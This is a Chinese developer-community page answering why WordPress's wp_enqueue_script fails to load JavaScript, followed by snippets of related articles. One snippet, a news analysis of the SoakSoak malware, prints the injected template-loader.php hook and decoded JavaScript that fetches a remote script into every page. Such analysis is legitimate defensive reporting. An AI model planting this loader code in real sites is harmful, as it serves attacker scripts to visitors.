开发者社区

文档建议反馈控制台

最新优惠活动

文章/答案/技术大牛

发布

Wordpress wp_enqueue_script函数不工作，javascript文件未加载

WordPress是一种流行的开源内容管理系统（CMS），用于构建和管理网站。wp_enqueue_script是WordPress提供的一个函数，用于在网站中加载JavaScript文件。然而，有时候可能会遇到wp_enqueue_script函数不工作的情况，导致JavaScript文件未能成功加载。

造成wp_enqueue_script函数不工作的原因可能有多种，以下是一些常见的可能原因和解决方法：

错误的调用方式：确保正确调用wp_enqueue_script函数，并传递正确的参数。函数的第一个参数是脚本的唯一标识符，第二个参数是脚本文件的URL，第三个参数是依赖的脚本标识符数组，第四个参数是脚本的版本号，第五个参数是脚本是否在页脚加载的布尔值。
脚本文件路径错误：检查脚本文件的路径是否正确。确保提供的URL是指向正确的脚本文件的绝对路径或相对路径。
脚本文件不存在：确认脚本文件是否存在于指定的路径中。如果文件不存在，将无法加载。
脚本依赖关系错误：如果脚本依赖其他脚本文件，确保正确指定了依赖关系。依赖关系是一个数组，包含其他脚本的标识符。
脚本加载顺序错误：如果脚本依赖其他脚本，确保正确指定了加载顺序。将依赖脚本的标识符数组作为wp_enqueue_script函数的第三个参数，并确保按照正确的顺序加载脚本。
缓存问题：如果之前加载过相同的脚本文件，可能会由于缓存而导致脚本未能加载。可以尝试清除浏览器缓存或使用版本号来强制刷新脚本。

如果以上方法都无法解决问题，可以考虑以下几点：

检查WordPress主题或插件是否与脚本加载有冲突。尝试禁用其他插件或更换主题，看看是否能够解决问题。
检查服务器配置是否正确，确保服务器允许加载外部脚本文件。
检查JavaScript文件本身是否存在语法错误或其他问题，可以尝试在其他网站或环境中加载同样的脚本文件，看看是否能够正常工作。

总结：当遇到WordPress的wp_enqueue_script函数不工作时，需要仔细检查调用方式、文件路径、依赖关系、加载顺序等方面的问题，并尝试解决可能的冲突或配置错误。如果问题仍然存在，可以考虑其他可能的原因，并进行相应的排查和修复。

腾讯云相关产品和产品介绍链接地址：

云服务器（CVM）：https://cloud.tencent.com/product/cvm
云数据库 MySQL 版：https://cloud.tencent.com/product/cdb_mysql
云存储（COS）：https://cloud.tencent.com/product/cos
人工智能（AI）：https://cloud.tencent.com/product/ai
云原生应用引擎（TKE）：https://cloud.tencent.com/product/tke
云安全中心（SSP）：https://cloud.tencent.com/product/ssp
云音视频（VOD）：https://cloud.tencent.com/product/vod
物联网（IoT）：https://cloud.tencent.com/product/iotexplorer
移动开发平台（MTP）：https://cloud.tencent.com/product/mtp
区块链（BCS）：https://cloud.tencent.com/product/bcs
元宇宙（Metaverse）：https://cloud.tencent.com/solution/metaverse

相关搜索:document.write javascript函数不工作 Javascript Tic Tac Toe - Winning函数未调用/工作 JavaScript手动单击运行命令，但在加载时不工作 Javascript文件未与HTML一起加载 VB.Net WebBrowser invoke javascript函数不工作 Wordpress function.php wp_enqueue_script不工作 wordpress verify_nonce在未登录时不工作 Wordpress函数wp_get_attatchment_url不工作为什么StartsWith函数不工作？JavaScript 函数打开(‘加载’... )页面刷新后不工作

相关搜索:

页面内容是否对你有帮助？

有帮助

没帮助

相关·内容

指定 WordPress 页面按需加载 JavaScript

在 wordpress 主题或插件中加载 JavaScript 时，官方推荐的方法是使用 wp_enqueue_script() 来加载，该函数可以指定 JavaScript 的依赖库，指定 JavaScript...但是，该插件缺少指定在某些页面加载 JavaScript 的设置参数。所幸的是，我们可以通过 WordPress 的函数自己动手来实现这个功能。...然后根据判断结果加载指定页面模板需要的 JavaScript 文件。...(){ wp_enqueue_script('jquery'); // 加载每个页面都需要的 JavaScript 文件 wp_enqueue_script('my_second_script.../js/imagesloaded.js'); ... } } } 在实际的 WordPress 主题开发工作中，并不是每个主题都需要这么操作。

2.2K1 0

WordPress 函数：wp_enqueue_script() 安全引入 JS

WordPress 主题最佳引用 js 文件的方法是使用 WordPress 内置的 wp_enqueue_script() 函数，通过该函数可以安全地将javascript 代码加入到 WordPress...（WP模板路径相关的函数中，通常带有template的是指parent theme，带有stylesheet的指向child theme） $deps – 依赖关系，加载的js文件所依存的其它js的标识字串数组...$ver – 加载js文件的版本号，作为查询字串附加在路径的末尾，作用是确保正确的版本信息传递给了客户端，以免受到缓存的影响（如js脚本发生变化时，通过更改版本号可以强制客户浏览器更新缓存），默认为false...，调用当前wordpress程序的版本号，如果不想显示，则设置为NULL（不推荐）。...通过 wp_enqueue_script 函数加载 js 文件时，应该将它分配给一个钩子，如只在前台调用，使用钩子 wp_enqueue_scripts；只在后台调用，使用 admin_enqueue_scripts

7562 0

WordPress 通过模板文件和自带的函数引入 cssjs 的两种方法

WordPress 引入css/js 是我们制作主题时首先面对的一个难点，任何一款主题都要加载自己的 css,js,甚至很有可能还需要加载 Jquery 文件,网上方法特多，说法不一，我们今天借鉴 wordpress...> 4、另外一个 4、另外一个函数：wp_print_scripts() 虽然将 JavaScript 文件都放到页面末尾加载对于页面加载速度很有帮助，但是请注意，所谓页面末尾指的是在 WordPress...有时候我们可能会在 wp_footer 函数出现之前就需要用到某些 JavaScript，比如 jquery.js 文件。这样的情况也是很常见的。...wp_enqueue_script() 与 wp_print_scripts() 的区别是： wp_enqueue_script() 是告诉 WordPress “我在这个页面上需要用到某个 JavaScript...wp_print_scripts() 则直接在你使用此方法的位置输出需要的 JavaScript 文件，而不是加入到 WordPress 的处理任务中。如果我们在页面的中间使用 <?

1.6K3 0

WordPress 教程：使用 wp_localize_script 从 PHP 传递参数给 JavaScript

WordPress 的 wp_localize_script 函数从它名字可以看出它是用来进行前端本地化的，它的工作方式是加载翻译之后的文本，接着将它们当做一个 JavaScript 对象输出到 HTML...，下面我通过微信机器人插件来讲讲如何使用该函数从 PHP 传递参数给 JavaScript。...微信公众平台在用户分享的时候可以让用自定义标题，摘要，图片和链接，我们需要把标题，摘要，图片和链接这些参数从 PHP 传递给 JavaScript，首先使用 wp_enqueue_script 函数加载微信...wp_localize_script 在最后 data 参数中提供了一个叫做 l10n_print_after 的 key，它可以无任何干扰直接输出值，我们把 data 参数，使用 json_encode 函数不编码成...debug=2","title":"WordPress 各种缓存插件介绍和应用","desc":"WordPress 缓存插件综述，WordPress 缓存插件有很多种，有文件缓存，内存缓存，HTML

2.7K2 0

WordPress 常用动作钩子 (action)分享

plugins_loaded 对插件开发者来说，plugins_loaded 动作钩子也许是最重要的动作钩子了，它在大多数 WordPress 文件加载完成之后，并在 pluggable 函数和 WordPress...admin_menu admin_menu 钩子在管理员页面加载的时候调用，无论何时你的插件直接在管理页面下工作，你都要用这个钩子来执行你的代码。...当你需要为特定的页面加载代码的时候，这个钩子很有用，比如为 singular post 加载一个样式表文件。...有些插件错误的使用了 wp_head 动作钩子来添加 JavaScript 代码，实际上应该使用 wp_enqueue_script() 函数的。...唯一一种使用这个钩子来添加 JavaScript 的情形是当 JavaScript 代码不在一个单独的文件中时。

7272 0

WordPress中的jQuery库不起作用的相关问题

如果仅仅加载WordPress 自带的jQuery 库，在使用一些jQuery 插件的时候明明是代码没有错误，但就是不起作用，该有的效果不能实现；但加载了原版的jQuery 库却又可以了，这样一来却同时加载了两个...貌似WordPress 默认是加载自带的jQuery 库的，首先你要取消这个功能，使之在前台默认不加载自带的jQuery 库：打开/wp-includes/script-loader.php文件，以“...更新：如果查看源代码分享加载了WordPress 自带的jquery 库，那么肯定是主题或者插件加载的（非登录状态下），因此，按照下面的代码可予以取消（其实就开发而言，不建议这么做）：你的主题也可能加载也会加载...如果你想取消，就需要在主题文件中找到如下关键代码，删除或注销之： wp_enqueue_script('jquery'); 当然，既然主题自动加载了，那肯定是有它的用处，如果删除了，一些主题功能可能会失效...参考WordPress官方文档：zh-cn:函数参考/wp enqueue script 相关知识：jQuery 与Javascript 的关系 jQuery 是一个 JavaScript 函数库。

4K6 0

WordPress 教程：如何正确引用 JavaScript 和 CSS 文件

在开发 WordPress 插件或者是制作 WordPress 主题的时候，都会引用一些 JavaScript 和 CSS 脚本资源。...WordPress 的排队引用（Enqueue Scripts）资源机制在 WordPress 中引用资源，应该使用 wp_enqueue_script 这个函数，函数名中有个单词 enqueue 是排队或者排序的意思...如果使用这个函数来引用自己的 JS 和 CSS 文件，首先需要使用 wp_register_script 这个函数注册一个标识（handle），然后使用 wp_enqueue_script 函数调取这个标志对应的资源...一般来说，JS 文件要放在页面的底部，就可以设置这个参数为 True，留空或者 False 会输出到顶部。下面看一个引用 JavaScript 文件的比较完整的例子：在 WordPress 主题开发中使用 wp_enqueue_script 引入资源上面的例子都是以插件开发引用资源为例，在主题中引用的方法相似，主要的区别就在于使用对应的函数获取主题目录从而得到主题下面的资源文件地址

1.2K4 0

WordPress 技巧：社会化评论插件多说提速技巧

不再查询 WordPress 原生的留言。 2. 不再加载 comment-reply.js，3.把多说的 JavaScript 脚本移到 footer。...打开当前主题的 single.php 文件，把以下函数注释掉： comments_template('', true); 然后添加下面的代码： require( $duoshuoPlugin->commentsTemplate...不再加载 comment-reply.js 我们知道 WordPress 在开启 Thread Comments 之后，WordPress 会要求在 head 加载一个叫做 comment-reply.js...JavaScript 文件，它是用来实现 WordPress 原生嵌套留言的回复功能，但是我们使用多说之后，多说接管了所有留言的功能，多说也自带了嵌套回复功能的 JS，，所以 comment-reply.js...一般 comment-reply.js 加载代码如下： if ( is_singular() && get_option( 'thread_comments' ) ) wp_enqueue_script

4712 0

WPJAM「静态文件」：一键合并 WordPress 插件和主题的 JS 和 CSS 文件，加快页面加载速度

每个插件和主题可能有自己的 CSS 和 JavaScript 内联代码或者文件，如果 CSS 和 JavaScript 内联代码或者文件一多，就开始出现了两个比较难受的问题：前端静态文件的问题 1....代码，然后还有未截图到主题自带的样式文件，还有其他的静态文件，非常多，看起来头疼。...，文件一多，加载自然就慢。 2....简单说一下 wpjam_register_static(key, args) 函数的参数： $key：注册唯一的 key。...Script Loader 通过恢复 WordPress 联合加载方式来优化 WordPress 后台脚本加载。外部链接将文章或评论中的外部链接加上安全提示的中间页。

6.9K3 0

WordPress主题中加载jQuery的最佳方法

在WordPress模板中加载JavaScript和jQuery的最佳方法是使用wp_enqueue_script。这样可以更好的控制JavaScript文件的加载时间点和加载位置。...下图是我在丘壑博客上添加的用于代码语法高亮的JavaScript，放在子主题的functions.php文件中。...在子主题的文件夹中，创建一个名为js的文件夹，然后把需要的JavaScript文件放在里面。路径应该是这样子：child-theme-directory/js/filename.js ?...在Wordpress中注册prism.js 速度优化在下面的代码片段中，我们先把WordPress中默认自带的jQuery库取消注册，然后在页面最后部分加载国内的CDN版本。...使用CDN版本的jQuery可以提升加载速度，使用户可以就近取得所需的内容，提高用户访问网站的响应速度。将下面的代码放在子主题的functions.php文件中即可。 ?

2.5K3 1

WordPress 技巧：移除加载的 JS 和 CSS 文件后面的 ver 参数

我们前面介绍过通过 wp_enqueue_script 和 wp_enqueue_style 函数在 WordPress 中正确引用 JavaScript 和 CSS 文件，但是通过这样引入的 JS 和...CSS 文件，都会在后面加上一个 ver 的参数，怎么移除这个参数呢？...第一种方法，如果是自己的主题或者插件，使用 wp_enqueue_script 函数时候，第四个参数设置为 false： wp_enqueue_script('foo', 'http://example.com.../foo.js', false, null); 如果其他人得插件或者主题，我们不可能每次去修改这些插件或者主题，在主题的 functions.php 文件中加入以下代码： add_filter('script_loader_src

1.4K3 0

WordPress面试题

基本结构：在index.php文件中，使用 WordPress 提供的函数来获取头部、尾部等页面结构。可以创建其他模板文件，如header.php、footer.php等，以更好地组织代码。...添加样式和脚本：创建一个style.css文件来定义主题的样式。使用wp_enqueue_style和wp_enqueue_script函数在主题中添加样式和脚本。...-- Your HTML, CSS, and JavaScript code goes here --> 使用 WordPress 函数：你还可以使用 WordPress 提供的函数来加载外部脚本和样式...例如，可以使用wp_enqueue_script和wp_enqueue_style函数来添加 JavaScript 和 CSS 文件。这有助于确保正确的加载顺序和避免冲突。...function enqueue_custom_scripts() { // 添加 JavaScript 文件 wp_enqueue_script('custom-script', get_template_directory_uri

3104 0

以文件修改时间戳做 CSS、JS 等文件的版本号，减少主动清理更新缓存的次数

每次修改 WordPress 的 css 和 js 文件，都要主动清理文件的缓存才能生效，尤其是采用了 oss 和 cdn 回源。...使用函数 filemtime() 获取文件修改时间戳，并以此做版本号，比如 my.js?ver=1639757946141 就不用再去手动刷新缓存了。注意文件必须是相对路径，使用绝对路径会报错。...使用函数 filemtime() 所用函数为 filemtime()。...>" type="text/css"> "> WordPress 引用脚本 css/js 范例 //get_template_directory() 获取函数获取主题模板目录//wp_enqueue_style() 安全引入

8422 0

检测CSS和JS改动自动刷新脚本

当我们在修改主题样式后，经常要做的一个重复动作就是按F5刷新网页，今天介绍一款神奇的小工具，可以检测CSS和JavaScript文件的变化，并自动刷新网页的JS脚本Live.js。.../javascript" src="/js/live.js"> 或者加到主题functions.php中： wp_enqueue_script( 'live', get_template_directory_uri()...插件名称：PBD Live.js for WordPress GitHub下载百度网盘下载该Live.js脚本不仅适用于WordPress主题，同样适合任何网页开发制作。...另外，Live.js脚本纯粹是为网页开发而设计，没有必要让它一直保留在主题中，因为启用后网页每两秒钟 flashes”一次，会影响页面的正常加载。

2.9K2 0

Code Embed：在WordPress文章和页面中添加Javascript的最佳插件

JavaScript是一门基于原型、函数先行的语言，是一门多范式的语言，它支持面向对象编程，命令式编程，以及函数式编程。...由于Javascript的动态特性，一般的第三方服务都会直接或间接的提供Javascript文件给网站页面加载。...比如在本博客WordPress 精品插件大全页面的开发小记中的Python代码、PHP代码的嵌入就是直接使用了gist提供的JavaScript嵌入方式 PHP文件：WordPress核心代码中已经自带了很多的...JavaScripty库，在主题文件中使用 wp_enqueue_script()注册JavaScript。...team工作的，为一些大型企业客户提供技术服务，是WordPress的核心代码、文档、技术支持等方面的贡献者。

4.4K4 0

WordPress 网站主题页面添加加载进度条方法

WordPress 网站主题添加页面加载进度条方法。...pace.js是一个非常赞的JavaScript插件，可以实时监听页面的数据加载，包括Ajax请求，显示页面加载进度，并且能够定制样式，类似浏览器加载进度条，比如Safari。...下面以WordPress默认主题Twenty Seventeen为例，将这个特效功能加到主题中。...2、打开Twenty Seventeen主题函数模板functions.php，将： wp_enqueue_script( 'pace.min', get_theme_file_uri(

6222 0

WordPress 如何免插件实现代码高亮

Google Code Prettify 是 Google 开源的一个用于代码高亮的 Javascript 库，支持 C/C++, Java, Python, Ruby, PHP，Javascript...二、修改 functions.php 文件打开 WordPress 主题文件中的 functions.php 文件，在末尾 ?> 前添加如下代码。...$tag_close; } function setup_load_script() { // Register prettify.js wp_enqueue_script('prettify-js...三、修改header.php文件打开 WordPress 主题文件中的 header.php 文件，在标签前添加如下代码，用来加载主题样式，也只在文章页加载。 " /> 到这里 WordPress+Prettify 免插件纯代码实现文章代码高亮设置就结束了。我们在编写文章时把代码放在 pre 标签内即可。

5612 0

替换WordPress 自带默认的 jQuery库， jQuery库页脚加载

在开发WordPress 主题或者WordPress 插件时候，常常要通过wp_enqueue_script这个钩子挂载WordPress 自带的 jQuery库而非是通过硬编码的方式来加载，毕竟是为了避免多次加载...详见《WordPress中的jQuery库不起作用的相关问题》。再者，为了速度上的考虑，加载一个80kb+的jQuery 库最好是通过第三方来（如google的、SAE的）——特别是主机不给力的网站。...替换WordPress 自带默认的 jQuery库在主题的functions.php 文件下加入以下代码： add_action( 'init', 'jquery_register' ); function...wp_register_script( 'jquery', ( 'http://cdn.devework.com/js/jquery/1.5.2/jquery.min.js' ), false, null, true ); wp_enqueue_script...is_admin() )是为了确保这些脚本和css只在前端加载，不会在后台管理界面加载。第三方jQuery 库一般都有CDN 驱动，可以保证最大速度。

2.3K10 0

10万WordPress网站沦陷：恶意软件SoakSoak来了

恶意软件分析恶意软件SoakSoak会修改wp-includes/template-loader.php文件 <?...php function FuncQueueObject() { wp_enqueue_script("swfobject"); } add_action("wp_enqueue_scripts",...'FuncQueueObject'); 这样使得wp-includes/js/swobject.js文件会在每一个页面上加载，这个swobject.js文件包含加密的恶意js代码。...document.getElementsByTagName('head')[0]; var script=document.createElement('script'); script.type='text/javascript.../xteas/code'; script.id='xxyyzz_petushok'; head.appendChild(script); }() );')); 恶意代码一旦被解密，就会加载

7427 0

不仅能帮你写 WordPress 插件，ChatGPT 还能一步一步教你写 WordPress 主题

我让它继续： ChatGPT 让我们在主题目录下创建 functions.php 文件，然后使用了 WordPress 提供的 wp_enqueue_style 和 wp_enqueue_script...函数加载了样式表和脚本文件；使用了 register_nav_menus 函数注册了菜单；使用了 add_theme_support 函数启用了特色图像。...并且它还教我可以在主题的主文件中使用 get_template_part 函数调用这个模板。...另外 ChatGPT 还是提示：如果需要创建一个完整的主题，还可能需要使用其他文件，例如 header.php，footer.php，index.php 等等。...这段代码有点长，ChatGPT 显示不完，我让他继续显示的时候，他把代码和文本的样式搞错了，算是一个小小的 bug，感觉可以抢好朋友新主题的大胡子的工作了，我看看能抢到什么程度：开始教我们写样式文件了

5903 0

点击加载更多

扫码

添加站长进交流群

领取专属 10元无门槛券

手把手带您无忧上云

扫码加入开发者社群

相关资讯

热门标签

活动推荐

运营活动

活动名称

广告关闭